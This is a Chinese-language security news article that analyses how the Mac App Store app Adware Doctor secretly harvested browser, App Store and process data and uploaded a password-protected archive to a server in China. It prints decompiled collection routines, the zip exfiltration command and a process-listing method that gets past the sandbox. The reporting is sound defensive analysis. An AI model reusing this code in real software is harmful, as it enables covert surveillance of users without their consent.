被指向中國伺服器提供資料,Mac App Store下架排名第一的付費安軟
前言
近日有外媒報道,Mac App Store中付費安全軟體中排名第一的Adware Doctor被研究人員發現在未經使用者同意的情況下收集瀏覽歷史,並將資料傳送至位於中國的伺服器,之後被Mac App Store下架。
在被下架之前,Adware Doctor是一款廣受使用者歡迎的安全應用,旨在保護使用者的瀏覽器免受廣告軟體和惡意軟體威脅。國外研究人員解構了此次發生的下架事件的前因後果。
Adware Doctor
在Adware Doctor的宣傳中,它是Mac使用者抵禦各種常見廣告軟體威脅的“最佳應用”:
在Mac App Store中,這款應用程式非常受歡迎,在最暢銷的應用程式中排名第四,因此連蘋果Mac App Store網站都列出了它的資訊:
在“付費實用工具”分類中,Adware Doctor排名第一:
事件解構
研究人員使用靜態分析(反編譯)和動態分析(網路監控、檔案監控和除錯)的方法對這款應用程式進行了研究,以下是過程和結果。
首先,研究人員從Mac App Store下載 Adware Doctor,確認該應用程式(與Mac App Store中的所有應用程式一樣)由蘋果正常簽發:
啟動應用程式,觀察到它通過HTTPS發出各種網路請求。例如,連線到adwareres.securemacos.com通過GET請求/AdwareDoctor/master.1.5.5.js:
如圖所示,下載的master.1.5.5.js檔案包含基本JSON配置資料:
{ “disable_rate”:false, “disable_prescan”:false, “sk_on”:false, “faq_link”:“http://www.adwaredoctor.com/adware-doctor-faq/” }
單擊應用程式介面中的“Clean”按鈕會觸發另一個到adwareres.securemacos.com的網路請求,這次下載的是名為config1.5.0.js的第二個檔案:
這次下載的config1.5.0.js檔案包含更多JSON,最值得注意的是這款軟體的資料庫的連結:
{ “update”:true, “version”:“201808243”, “url”:“https://adwareres.securemacos.com/patten/file201808243.db” }
然後是一個看起來很正常的資料庫更新過程:
研究人員查看了資料庫的內容,是加密的(符合反廣告軟體/反惡意軟體的做法):
使用偵錯程式捕獲應用程式在記憶體中解密的檔案,然後轉儲純文字內容:
(lldb) binaryContentMatchPatten = ({ md5 = ( 48a96e1c00be257debc9c9c58fafaffe, f1a19b8929ec88a81a6bdce6d5ee66e6, 3e653285b290c12d40982e6bb65928c1, 801e59290d99ecb39fd218227674646e, 8d0cd4565256a781f73aa1e68e2a63de, e233edd82b3dffd41fc9623519ea281b, 1db830f93667d9c38dc943595dcc2d85, ... browserHomePagePatten = ( { name = "Chrome homepage: safefinder"; patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=tingnew"; }, { name = "Chrome homepage: safefinder"; patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=TingSyn"; }, { name = "Chrome homepage: safefinder"; patten = "Chrome.*searchword.*/90/"; }, ... filePathPatten = ( "/Applications/WebShoppers", "/Applications/WebShoppy", "/Applications/SoftwareUpdater", "/Applications/webshoppers", "~/Library/Application Support/WebTools", "~/Library/WebTools", "/Applications/WebTools", "/Applications/WebTools.app", "/Applications/SmartShoppy", "/Applications/ShopTool", "/Applications/ShoppyTool", "/Applications/EasyShopper", ... launchPathMatchPatten = ( "com.WebShoppers.agent.plist", "com.WebShoppy.agent.plist", "com.webshoppers.agent.plist", "com.SoftwareUpdater.agent.plist", ... whitelist =( "~/Library/LaunchAgents/com.spotify.webhelper.plist", "/Library/LaunchDaemons/com.intel.haxm.plist", "/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist", "/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist", "/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist", "/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist", "/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist", "/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist", "/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist", "/Library/LaunchAgents/com.microsoft.update.agent.plist", "/Library/LaunchDaemons/com.crashplan.engine.plist" ...
這些特徵看起來是一款反廣告軟體,並且雜湊值確實與已知的廣告軟體匹配:
例如Adware.MAC.Pirrit:
回到Adware Doctor應用介面,它已準備好清理使用者的系統:
直到上面一步並沒有出現異常,但後面對不對了。
首先,在執行檔案監視器(例如MacOS內建的fs_usage)和對包含歷史記錄的檔案進行過濾(不區分大小寫)後,一些異常的檔案訪問歷史顯現出來:
# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history Adware Doctor.44148open~/Library/Application Support/<b>CallHistoryTransactions</b> Adware Doctor.44148open~/Library/Application Support/<b>CallHistoryDB</b> Adware Doctor.44148RdData[A]/dev/disk1s1/Users/user/Library/Safari/<b>History.db</b> Adware Doctor.44148lstat64/Users/user/Library/Application Support/Google/Chrome/Default/<b>History</b> Adware Doctor.44148open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip Adware Doctor.44148lstat64~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo Adware Doctor.44148WrData[A]~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory Adware Doctor.44148WrData[A]~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory Adware Doctor.44148WrData[A]~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory Adware Doctor.44148WrData[A]~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory
執行程序監視器(例如開源的 ofollow" rel="nofollow,noindex">ProcInfo 實用程式),可以觀察到Adware Doctor使用內建zip實用程式建立受密碼保護的history.zip存檔:
# ./procInfo process start: pid: 2634 path: /bin/bash args: ( "/bin/bash", "-c", "zip -r --quiet -P webtool \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/<b>history.zip</b>\" \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history\" > /dev/null" )
使用網路代理監視器( Charles Proxy )捕獲Adware Doctor到adscan.yelabapp.com的連線嘗試:
通過編輯系統的/etc/hosts檔案,將此請求重定向到研究人員控制的伺服器,捕獲到Adware Doctor嘗試上傳history.zip檔案:
# python https.py listening for for HTTPS requests on port:443 192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 - Headers: Host: adscan.yelabapp.com Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510 Connection: keep-alive Accept: */* User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64) Content-Length: 15810 Accept-Language: en-us Accept-Encoding: br, gzip, deflate Path: /1/checkadware Attachment: 'history.zip' (length: 15810)
待上傳的“history.zip”檔案受密碼保護:
回看程序監視器的輸出,密碼被髮送到內建的zip實用程式:zip -r –quiet -P webtool …。
密碼也被編碼到應用程式的二進位制檔案中,因此反編譯二進位制檔案即可獲得密碼。
輸入webtool作為密碼解壓檔案:
檢視解壓出來的內容,Adware Doctor在暗地裡收集使用者的瀏覽器歷史記錄:
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/chromeHistory
Person 1:
https://www.google.com/search?q=if+i+punch+myself+in+the+face+and+it+hurts+does+that+make+me+weak+or+strong 2018-08-20 21:19:57
https://www.google.com/search?q=does+your+stomach+think+all+potatoes+are+mashed 2018-08-20 21:19:36
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/safariHistory
https://www.google.com/search?client=safari&rls=en&q=Where+do+lost+socks+go+when+they+go+missing 1397-06-02 08:29:20
深入分析
看到這裡,有三個問題需要解答:
它如何繞過Mac App Store的沙盒機制來訪問使用者的檔案?
它如何收集使用者的瀏覽器歷史記錄?
它還收集了哪些系統資訊和個人身份資訊(PII)?
從安全和隱私的角度來看,從官方Mac App Store安裝應用程式的主要優勢有兩點:
程式經過蘋果官方審查和簽發;
程式在沙盒中執行。
當應用程式在沙箱中執行時,可以訪問的檔案或使用者資訊非常有限,應該不能訪問使用者的瀏覽器歷史記錄,但這裡Adware Doctor做到了。
通過工具( WhatsYourSign )檢視該應用程式的許可權,包含:com.apple.security.files.user-selected.read-write:
這項許可權意味著應用程式可以請求某些檔案的許可權,並且得到明確的使用者批准後,對檔案進行讀/寫操作。Adware Doctor在第一次執行時,會請求訪問使用者的主目錄以及下面的所有檔案和目錄:
這是通過[MainWindowController showFileAccess]方法實現的:
/ * @class MainWindowController * / - (void)showFileAccess { r15 = self; var_30 = [[AppSandboxFileAccess fileAccess] retain]; r13 = [[AppSandboxFileAccess fileAccess] retain]; rbx = [[BSUtil realHomeDirectory] retain]; r14 = [r13 hasAccessPremisionPath:rbx]; ...
在AppSandboxFileAccess類的幫助下:
在偵錯程式(lldb)中,觀察使用者主目錄的訪問嘗試:
Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]: ->0x10000cebf <+0>: pushq%rbp 0x10000cec0 <+1>: movq%rsp, %rbp 0x10000cec3 <+4>: pushq%r15 0x10000cec5 <+6>: pushq%r14 (lldb) po $rdi <AppSandboxFileAccess: 0x1003797b0> (lldb) x/s $rsi 0x10006a147: "hasAccessPremisionPath:" (lldb) po $rdx /Users/user
現在,Adware Doctor可以合法訪問使用者的檔案和目錄,例如掃描以查詢惡意程式碼。但是,一旦使用者點選允許,Adware Doctor將具備對所有使用者檔案的全部訪問許可權,它使用了多種收集系統和使用者資訊的方法。雖然某些(例如程序列表)可能確實是用於反惡意軟體或反廣告軟體的操作,但其他使用者資訊(例如使用者的瀏覽歷史記錄)違反了嚴格的Mac App Store規則。
收集方法在ACEAdwareCleaner類中實現,並命名為collect *:
逆向一下部分方法
首先是collectSample方法。此方法查詢應用程式下載的資料庫。看起來它用於尋找收集樣本中指定的檔案:
- (void)collectSample { ... rbx = [r15 pattenDic]; r14 = [rbx valueForKey:@“sample”];
在偵錯程式中跳過此程式碼,並檢查示例鍵的未加密值:
(lldb)“/ Application / Adware Doctor.app” ... po $ rax <__ NSArrayM 0x10732b5e0>( NAME =`whoami`; echo /Users/"$NAME"/Library/LaunchAgents/com.apple.Yahoo.plist; )
它正在使用者的LaunchAgents目錄中尋找名為com.apple.Yahoo.plist的檔案。在搜尋引擎中搜索“com.apple.Yahoo.plist”,跳出的資訊與門羅幣挖礦木馬有關。在VirusTotal上可以找到相關檔案,但看起來沒問題:
collectPSCommonInfoToFile方法。反編譯相關檔案後得到了字串和詳細的方法名稱,揭示了目的:
/* @class ACEAdwareCleaner */ -(void)collectPSCommonInfoToFile:(void *)arg2 { var_38 = [arg2 retain]; r14 = [[NSMutableString alloc] init]; [r14 appendString:@"===System===\n"]; rbx = [[ACECommon operatingSystem] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; [r14 appendString:@"===OS UpTime===\n"]; rbx = [[ACECommon getSystemUpTime] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; [r14 appendString:@"===Launch===\n"]; rbx = [[self readLaunchFolder:@"/Library/LaunchAgents"] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; rbx = [[self readLaunchFolder:@"/Library/LaunchDaemons"] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; r15 = [[ACECommon realHomeDirectory] retain]; r13 = [[NSString stringWithFormat:@"%@/Library/LaunchAgents", r15] retain]; rbx = [[self readLaunchFolder:r13] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; [r13 release]; [r15 release]; [r14 appendString:@"\n===Applications===\n"]; rbx = [[ACECommon fileStringWithPath:@"/Applications"] retain]; [r14 appendString:rbx]; [rbx release]; [r14 appendString:@"\n===process===\n"]; rbx = [[ACECommon collectProcessList] retain]; [r14 appendString:rbx]; [rbx release]; [r14 appendString:@"\n===process2===\n"]; rbx = [[ACECommon collectProcessList2] retain]; [r14 appendString:rbx]; [rbx release]; [r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0]; [var_38 release]; [r14 release]; return; }
可以手動分析這些程式碼,但簡單地讓它執行並在下一行(靠近函式末尾)設定斷點要簡單得多:
(lldb)po $ rdx /Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support / com.yelab.Browser-Sweeper / history / psCommonInfo
請注意這個psCommonInfo也被exfilt到adscan.yelabapp.com(在history.zip文件中):
$ cat psCommonInfo ===System=== Version 10.13.6 (Build 17G65) ===OS UpTime=== 1hour, 10minute, 31second ===Launch=== /Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist 444 root wheel ... ===Applications=== /Applications/DVD Player.app(1396-07-20 02:11:55 +0000) /Applications/Siri.app(1396-07-27 03:17:13 +0000) /Applications/QuickTime Player.app(1396-08-19 02:31:30 +0000) /Applications/Chess.app(1396-06-15 01:20:21 +0000) /Applications/Photo Booth.app(1396-04-25 01:50:31 +0000) /Applications/Adware Doctor.app(1397-03-20 09:59:27 +0000) .... ===process2=== processIDprocessNameuserIDuserNamecommand 1759bash501user/bin/bash 1758login0root/usr/bin/login 1730silhouette501user/usr/libexec/silhouette 1709mdwrite501user/System/Library/Frame ....
雖然Adware Doctor獲得了通過com.apple.security.files.user-selected.read-write許可權和明確的使用者批准來列舉使用者檔案,但根據沙箱設計,它仍然無法列出其他正在執行的程序。
回想一下collectPSCommonInfoToFile,呼叫以下兩種方法:
[r14 appendString:@“\ n === process === \ n”]; rbx = [[ACECommon collectProcessList] retain]; ... [r14 appendString:@“\ n === process2 === \ n”]; rbx = [[ACECommon collectProcessList2] retain];
方法collectProcessList嘗試通過內建的ps命令列舉所有正在執行的程序:
(lldb) po $rdi <NSConcreteTask: 0x107441f10> (lldb) po [$rdi launchPath] /bin/sh (lldb) po [$rdi arguments] <__NSArrayI 0x1002851f0>( -c, ps -e -c -o "pid uid user args" )
被macOS應用程式沙箱阻止(拒絕),因為列舉正在執行的程序(來自沙箱)是“禁忌”:
/bin/sh: /bin/ps: Operation not permitted
Adware Doctor使用了collectProcessList2方法:
+(void *)collectProcessList2 { ... rax = sub_1000519ad(&var_1068, &var_10A0, @"processID\t\t\t processName\t\t\t userID\t\t\t userName\t\t\t command\n", rcx, r8, r9); ... var_1070 = var_1068; do { ... proc_pidpath(*(int32_t *)(r14 - 0xcb), &var_1030, 0x1000); } while (var_1088 > rax); }
呼叫sub_1000519ad然後迭代該函式返回的一些列表,呼叫proc_pidpath。sub_1000519ad返回一個程序ID列表:
000000010007df90dd0x00000001;CTL_KERN 000000010007df94dd0x0000000e;KERN_PROC 000000010007df98dd0x00000000;KERN_PROC_ALL int sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) { ... rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0); if ((r12 ^ rax) == 0x1){ __assert_rtn("GetBSDProcessList", "/Users/build1/Browser-Sweeper/src/Browser Sweeper/Pods/PodACE/Engine/ACECommon.m", ... } rbx = malloc(0x0); rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);
sysctl函式的呼叫加上字串GetBSDProcessList給出了程序列表。它是蘋果的GetBSDProcessList程式碼,可從應用程式沙箱中獲取程序列表,也就是說 Adware Doctor用來繞沙箱的程式碼直接來自蘋果。
現在讓我們看看Adware Doctor如何收集使用者的瀏覽器歷史記錄。使用collectBrowserHistoryAndProcess方法,呼叫:
collectSafariHistoryToFile collectChromeHistoryToFile firefoxHistory
這些方法中的每一個都包含用於提取瀏覽器歷史記錄的程式碼。
對於Safari而言,這將呼叫解析其History.db檔案:
+(void)collectSafariHistoryToFile:(void *)arg2 { ... if ([ACECommon appInstalledByBundleId:@"com.apple.Safari"] != 0x0) { r15 = [[ACECommon realHomeDirectory] retain]; rbx = [[r15 stringByAppendingPathComponent:@"Library/Safari/History.db"] retain]; r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain]; ;parse database } else { r14 = [[@"Safari not installed." dataUsingEncoding:0x4] retain]; [r12 writeData:r14]; [r14 release]; [r12 closeFile]; } }
該collectChromeHistoryToFile涉及到多個檔案,但基本上可以歸結為列舉Chrome個人資料,然後分析Chrome歷史資料。
+(void)collectChromeHistoryToFile:(void *)arg2 { r13 = [[NSString stringWithFormat:@"Library/Application Support/Google/Chrome/%@/History"] retain]; rbx = [[rbx stringByAppendingPathComponent:r13] retain]; [r14 copyItemAtPath:rbx toPath:var_170 error:0x0]; ... rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain]; ... }
最後,在解析每個配置檔案的places.sqlite資料庫之前,collectFirefoxHistoryToFile方法列舉任何Firefox配置檔案:
+(void)collectFirefoxHistoryToFile:(void *)arg2 { ... r12 = [[NSString stringWithFormat:@"Library/Application Support/Firefox/Profiles/%@/places.sqlite"] retain]; r15 = [[rbx stringByAppendingPathComponent:r12] retain]; r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];
該應用程式還有一個名為collectAppStoreHistoryToFile的方法,它將嘗試在App Store App中獲取使用者最近的所有搜尋記錄:
+(void)collectAppStoreHistoryToFile:(void *)arg2 { ... 15 = [[rbx stringByAppendingPathComponent:@"Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version 11/Blobs", 0x0, 0x0] retain]; ... r12 = [r14 initWithFormat:@"%@/Library/Application Support/%@/appStoreData", r15, rbx] ... ar_1A0 = @[@"-c", @"grep search.itunes * | sed 's/.*\(https:\/\/search\.itunes\.apple\.com.*q=.*\)\" .*/\1/'")] }
在收集完使用者資料後將所有內容都壓縮到history.zip檔案傳送:
(lldb) po $rdi <NSConcreteTask: 0x1003fa4b0> (lldb) po [$rdi launchPath] /bin/bash (lldb) po [$rdi arguments] <__NSArrayI 0x100352480>( -c, zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null )
此檔案以及包含軟體列表的JSON blob(已下載的.dmgs或.pkgs以及從哪裡下載),然後通過呼叫sendPostRequestWithSuffix方法上傳到伺服器(請注意API端點:checkadware) :
[var_1F0 sendPostRequestWithSuffix:@"checkadware" params:r12 file:rbx];
[
[
{
"content": "\/Users\/user\/Downloads\/googlechrome.dmg\n1397-06-02 21:15:46 +0000\n(\n \"https:\/\/dl.google.com\/chrome\/mac\/stable\/GGRO\/googlechrome.dmg\",\n \"https:\/\/ www.google.com \/chrome\/\"\n)\n5533641bc4cc7af7784565ac2386a807\n"
},{
"content": "\/Users\/user\/Downloads\/charles-proxy-4.2.6.dmg\n1397-06-02 20:48:18 +0000\n(\n \"https:\/\/ www.charlesproxy.com \/assets\/release\/4.2.6\/charles-proxy-4.2.6.dmg\",\n \"https:\/\/ www.charlesproxy.com \/latest-release\/download.do\"\n)\nde043b43c49077bbdce75de22e2f2d54\n"
},{
"content": "\/Users\/user\/Downloads\/Firefox 61.0.2.dmg\n1397-06-02 21:16:08 +0000\n(\n \"https:\/\/download-installer.cdn.mozilla.net\/pub\/firefox\/releases\/61.0.2\/mac\/en-US\/Firefox%2061.0.2.dmg\",\n \"https:\/\/ www.mozilla.org \/en-US\/firefox\/download\/thanks\/?v=a\"\n)\n65096904bf80c4dd12eb3ba833b7db8d\n"
},
...
]
--Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFA
Content-Disposition: form-data; name="attachment"; filename="history.zip"
Content-Type: application/zip
...
到了這裡,使用者資料就發到中國的伺服器上去了。
結語
Adware Doctor的行為違反了蘋果 Mac App Store嚴格的規則和政策。例如,在“App Store規則和指南” 的“資料收集和儲存”部分指出:
收集使用者或使用資料的應用程式必須確保使用者的同意;
應用必須尊重使用者的許可權設定,而不是試圖欺騙或強迫使用者同意不必要的資料訪問;
將從開發人員計劃中刪除使用其應用程式偷偷發現私人資料的開發人員。
*參考來源: theregister ,Freddy編譯整理,轉載請註明來自 FreeBuf.COM。